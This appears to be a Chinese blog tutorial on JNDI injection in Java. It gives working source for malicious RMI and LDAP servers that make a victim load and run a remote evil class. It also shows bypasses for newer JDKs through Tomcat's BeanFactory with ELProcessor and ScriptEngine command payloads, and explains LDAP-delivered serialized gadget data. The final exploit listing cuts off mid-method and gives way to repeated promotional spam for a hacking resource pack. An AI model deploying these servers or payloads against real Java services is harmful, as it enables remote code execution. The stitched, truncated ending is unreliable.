啥是 JNDI? 听我吹两句!
JNDI,全名 Java Naming and Directory Interface,简单来说,就是 Java 界的“通讯录”。它是个 API,专门为 Java 应用程序提供命名和目录访问服务。你可以把它想象成一个字符串,对应着一个对象,方便你通过名字找到想要的资源。
说得更接地气点,JNDI 就是给资源起个“花名”,然后你喊“花名”就能找到它。
当你需要连接数据库或者调用远程服务时,不用再苦哈哈地记住那些复杂的地址和实现细节,只要知道“花名”,JNDI 就能帮你搞定一切!
举个栗子:
假设你要开发一个 Java 应用,需要连接数据库。有了 JNDI,你就可以用“jdbc/MyDatabase”这个名字来查找数据库连接,而不用在代码里写死数据库地址、用户名和密码。
// 拿到 JNDI 上下文,可以理解为“电话簿”
Context context = new InitialContext();
// 查找名字为“jdbc/MyDatabase”的数据库连接,就像查电话簿
DataSource dataSource = (DataSource) context.lookup("jdbc/MyDatabase");
// 获取数据库连接
Connection connection = dataSource.getConnection();
在这个例子里,“jdbc/MyDatabase”就是你要找的资源,context.lookup("jdbc/MyDatabase")
就能帮你拿到数据库连接。
环境搭建: 磨刀不误砍柴工
调试源码时,如果遇到 .class 文件,阅读起来可能会有点痛苦。别慌,我有妙招!
- 下载 JDK 源码: 访问 https://hg.openjdk.org/jdk8/jdk8/jdk/archive/tip.zip 下载 JDK 8 的源码。
- 导入 IDEA: 打开 IDEA,选择“文件” -> “项目结构” -> “SDK”,在你的 JDK 版本里找到“源路径”,把刚下载的压缩包导入进去。
- 重启 IDEA: 搞定!现在就能愉快地阅读 Java 源码啦!
JNDI 核心概念: 名字和目录,一个都不能少
Name(命名): 资源的“身份证”
Name(命名)就是给对象起个独一无二的名字,方便查找和引用。就像给每个人发一张“身份证”,通过名字就能找到对应的人。在 JNDI 里,名字可以用来查找各种资源,比如数据库连接、EJB 组件、文件路径等等。
栗子时间:
你给一个数据库连接起了个名字叫“jdbc/MyDatabase”。以后要用这个连接时,直接通过这个名字查找就行,不用管它藏在哪里或者怎么实现的。
代码示例:
// 创建 JNDI 上下文
Context context = new InitialContext();
// 用名字查找数据库连接
DataSource dataSource = (DataSource) context.lookup("jdbc/MyDatabase");
// 获取数据库连接
Connection connection = dataSource.getConnection();
Directory(目录): 资源的“豪华档案”
Directory(目录)可不只是个名字那么简单,它还能存储对象的属性信息,就像一个层次结构的命名系统。你可以把 Directory 想象成公司员工的“豪华档案”,里面不仅有名字,还有职位、部门等详细信息。通过名字可以查找,还能按职位、部门等属性进行查询。
栗子时间:
假设你有一个公司员工的目录,每个员工都有名字、职位、部门等属性信息。你可以通过员工的名字查找他们的详细信息,还可以通过职位、部门等属性进行查询。
代码示例:
// 创建 JNDI 上下文
Context context = new InitialContext();
// 查找名字为“cn=John Doe”的员工
Attributes attrs = context.getAttributes("cn=John Doe");
// 获取员工的属性
String title = (String) attrs.get("title").get();
String department = (String) attrs.get("department").get();
JDK 还提供了一些服务接口,比如:
- LDAP (Lightweight Directory Access Protocol):轻量级目录访问协议
- CORBA (Common Object Request Broker Architecture):公共对象请求代理结构服务
- RMI (Java Remote Method Invocation):JAVA 远程方法调用注册
- DNS (Domain Name Service):域名服务
在漏洞利用中,RMI 和 LDAP 这两个“老伙计”出镜率最高!
JNDI 结合 RMI: 远程代码执行的“导火索”
JNDI 结合 RMI 的原理,就是在服务端调用了一个 Reference
对象。
Reference 类: 对象的“远程遥控器”
Reference 类表示对存在于命名/目录系统以外的对象的引用。简单来说,它就像一个“远程遥控器”,可以控制远端的对象。
Java 为了把 Object 对象存储在 Naming 或 Directory 服务下,提供了 Naming Reference 功能。对象可以通过绑定 Reference 存储在 RMI、LDAP 等服务下。
使用 Reference 时,可以直接把对象写在构造方法里。当被调用时,对象的方法就会被触发,搞事情!
几个关键属性:
className
:远程加载时使用的类名classFactory
:加载的 class 中需要实例化的类名classFactoryLocation
:远程加载类的地址,支持 file/ftp/http 等协议
JNDIRMIServer.java
package org.example.RMI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class JNDIRMIServer {
public interface RemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}
public class RemoteObjImpl extends UnicastRemoteObject implements RMIServer.RemoteObj {
public RemoteObjImpl() throws RemoteException {
// UnicastRemoteObject.exportObject(this, 0); // 如果不能继承 UnicastRemoteObject 就需要手工导出
}
@Override
public String sayHello(String keywords) throws RemoteException {
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
}
public void start() throws NamingException, RemoteException {
//RMI结合
// 1、RMI原生分析
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
// initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
//2.与RMI结合的JNDI攻击
Reference reference=new Reference("Evil_Class_Name","JNDIEvilCode","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj",reference);
}
public static void main(String[] args) throws Exception{
new JNDIRMIServer().start();
}
}
JNDIRMIClient.java
package org.example.RMI;
import javax.naming.InitialContext;
import org.example.RMI.RMIServer.RemoteObj;
public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
JNDIEvilCode.java
public class JNDIEvilCode {
public JNDIEvilCode() throws Exception {
Runtime.getRuntime().exec("calc");
}
}
JNDIRMIClient 相当于我们要攻击的服务器,而 JNDIRMIServer 是我们精心设计的恶意服务器。我们将恶意代码 JNDIEvilCode.java 编译后,让恶意服务器去绑定这个恶意代码到注册中心。如果我们需要攻击的服务器的 lookup 中的 name 参数可控,我们就可以让他访问我们绑定的恶意代码,从而造成漏洞。
跟进 lookup 方法,最终会发现调用了 RMI 原生的 lookup 方法,所以 RMI 攻击的方法在这里依然适用。
接着进入 decodeObject 函数
这里 getObjectInstance 方法,从名字就可以判断是一个初始化的方法
在里面通过 getObjectFactoryFromReference
来调用 reference 里面的 factory
在 ref.getFactoryClassName()
中我们获取到了恶意类的名字,接着在 getObjectFactoryFromReference
里面我们会去 loadclass 加载它。
这里有两个 loadClass(factoryName)
第一次在本地加载恶意类,但是我们攻击的服务器显然不会存在一个有恶意代码的类,所以第一次加载结果为空,第二次会用 URLClassLoader
加载器来加载我们恶意服务器上 7777 端口开放的恶意代码。
最后 newInstance 初始化这个恶意类来弹出计算器。
这里其实如果我们执行命令的代码放在恶意类的静态代码块,就会在 classload 里面执行,因为我们继续跟进 helper.loadClass 的话,发现最后的 forname 函数第二个参数是 true, 这就表示,加载类的时候会初始化,这里初始化指的不是调用构造函数,而是调用静态代码块。
JNDI 结合 LDAP: 又一个“搞事情”的姿势
LdapServer.java
package org.example.LDAP;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:7777/#JNDIEvilCode";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
JNDILdapClient.java
package org.example.LDAP;
import javax.naming.InitialContext;
import org.example.RMI.RMIServer.RemoteObj;
// jndi 打 jdk8u191 之前版本的客户端
public class JNDILdapClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://localhost:1389/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
漏洞触发的流程和 RMI 差不多。官方在 jdk8u121 修复基于 RMI 的 JNDI 注入时,并没有修复基于 LDAP 的 JNDI 注入,直到 jdk8u191 才堵上了这个窟窿。
绕过姿势: 道高一尺,魔高一丈
RMI + JNDI Reference: 防火墙升级
在 JDK 6u141, JDK 7u131, JDK 8u121 中,Java 提升了 JNDI 的安全性,限制了 Naming/Directory 服务中 JNDI Reference 远程加载 Object Factory 类的特性。com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
这两个系统属性的默认值变成了 false,意味着默认情况下不允许从远程的 Codebase 加载 Reference 工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider 的远程类加载功能,需要手动将这两个属性值设置为 true。
不过这次更新并没有对 LDAP 做出限制。LDAP 服务的 Reference 远程加载 Factory 类不受上面两个属性的限制,适用范围更广。
LDAP + JNDI Reference: 最后的防线
在 Oracle JDK 11.0.1、8u191、7u201、6u211 之后,com.sun.jndi.ldap.object.trustURLCodebase
属性的默认值也被调整为 false,还被分配了一个漏洞编号 CVE-2018-3149。
根据 trustURLCodebase
的值是否为 true 来进行判断,它的值默认为 false。jdk8u191 之后的版本通过添加 trustURLCodebase 的值是否为 true
这一判断语句,让我们无法加载 codebase。
绕过 JDK 8u191+ 等高版本: 绝地反击
方法一: 利用本地 Class 作为 Reference Factory: 曲线救国
在 JNDI 结合 RMI 的时候,我们返回的 Reference 可以指定一个 Factory,在 getObjectInstance 函数中实例化我们的恶意 Factory 类造成攻击。但由于高版本的限制,我们无法将 Factory 指定为我们恶意服务器上的恶意 Factory 类。但是,我们仍然可以指定 Factory,只是这个 Factory 类必须来自受害者服务器本地 ClassPath。该恶意 Factory 类必须实现 javax.naming.spi.ObjectFactory
接口,实现该接口的 getObjectInstance() 方法。
org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于 Tomcat 依赖包中,所以使用也是非常广泛。
JNDIRMIServer_Rebind.java
package org.example.JNDI_BYPASS;
import org.apache.naming.ResourceRef;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
public class JNDIRMIServer_Rebind {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","",
true,"org.apache.naming.factory.BeanFactory",null );
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('calc')" ));
initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef);
}
}
JNDIRMIServer_EL.java
package org.example.JNDI_BYPASS;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIRMIServer_EL {
public static void main(String[] args) throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 1099");
Registry registry = LocateRegistry.createRegistry( 1099);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true,"org.apache.naming.factory.BeanFactory",null);
// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager")" +
".newInstance().getEngineByName("JavaScript")" +
".eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")"));
System.out.println("[*]Evil command: calc");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("remoteObj", referenceWrapper);
}
}
JNDIRMIClient.java
package org.example.JNDI_BYPASS;
import org.apache.naming.factory.BeanFactory;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.spi.NamingManager;
public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
String uri = "rmi://localhost:1099/remoteObj";
Context context = new InitialContext();
context.lookup(uri);
}
}
有两种恶意服务器代码构造方法,我们以第一个为例。
可以将断点打到此处,因为前面的执行逻辑与之前 JNDI+RMI 调用远端恶意代码一致。
在 getObjectFactoryFromReference
这个函数里面,会先本地加载 org.apache.naming.factory.BeanFactory 这个工厂,因为这个工厂就存在于本地,所以无需调用 codebase。然后会实例化这个工厂类,并且会强转成 ObjectFactory 类型,返回给 factory,并且接下来会调用 getObjectInstance
这个函数,这也是我们为什么说找的本地恶意类需要基础 ObjectFactory 接口并实现 getObjectInstance 函数。
所以接下来我们将进入 BeanFactory.getObjectInstance 这个函数,首先就会判断 obj 是否是 ResourceRef 类的实例,这个 obj 是来自我们从注册表中找到的绑定的 remoteobj,所以我们绑定的时候会绑定一个 ResourceRef 对象。只用进入这个 if 里面的代码,才是 getObjectInstance 执行逻辑,如果进入 else,就会直接返回 null。
initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef);
接着,我们会加载 javax.el.ELProcessor 类,并且调用了他的无参构造函数实例化了这个类。所以我们的 bean 就是一个 ELProcessor 对象,而这个是我们命令执行的语句 method.invoke(bean,valueArray) 第一个参数。使我们可控的。从这可以看出,我们需要实例化的类是一个有无参构造函数的类。
接着,我们会去获取开始恶意服务器上绑定的 resourceRef 对象中 addrType 等于 forceString 的 StringRefAddr。这个 StringRefAddr 的 contents 就是我们添加的 x=eval
接着代码会将 x=eval
拆成 x 和 eval,在第 178 行 forced.put(param, beanClass.getMethod(setterName, paramTypes));
会获取 javax.el.ELProcessor 的 eval 函数,并且将 x 和 eval 这个函数方法作为键值对放入 forced 这个 HashMap 中。
接下来的 while 循环中,只用当获取的 propName 不等于 scope、auth、forceString、singleton 中任意一个,才能跳出循环,而 propName,就是之前提到的 resourceRef 对象中的 addrType。
很显然当 propName 等于我们绑定 resourceRef 前添加的 x 时跳出循环进行下一步,接着我们就会从 forced 这个 HashMap 取出键等于 propName,也就是等于 x 对应的值,而我们之前是添加了一个 x 对应 javax.el.ELProcessor 的 eval 函数,所以 method 就是这个 eval 函数,接着反射调用这个方法,传入第一个值是之前实例化的 javax.el.ELProcessor 对象,那么就会调用这个实例化 ELProcessor 对象的 eval 函数了,函数参数为 valueArray,是个对象数组,第一个值是我们绑定 resourceRef 前添加的 x 对应的 contents 值,也就是 "Runtime.getRuntime().exec('calc')"。最后 ELProcessor.eval() 会对 EL 表达式进行求值,最终达到命令执行的效果。
方法二: LDAP 返回序列化数据,触发本地 Gadget: 釜底抽薪
LDAP Server 除了使用 JNDI Reference 进行利用之外,还支持直接返回一个对象的序列化数据。如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。当然,由于高版本 jdk 不信任远程类加载,我们依然是利用本地的恶意类。假如受害者服务器存在一个有漏洞的 CommonsCollections 库,那么就可以用我们恶意服务器返回序列化数据,是受害者服务器反序列化是触发 cc 链造成攻击。
JNDILDAPServer.java
```java
package org.example.JNDI_BYPASS;
import com.unboundid.util.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class JNDILDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#EvilObject";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
黑客/网络安全学习包
资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**
**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************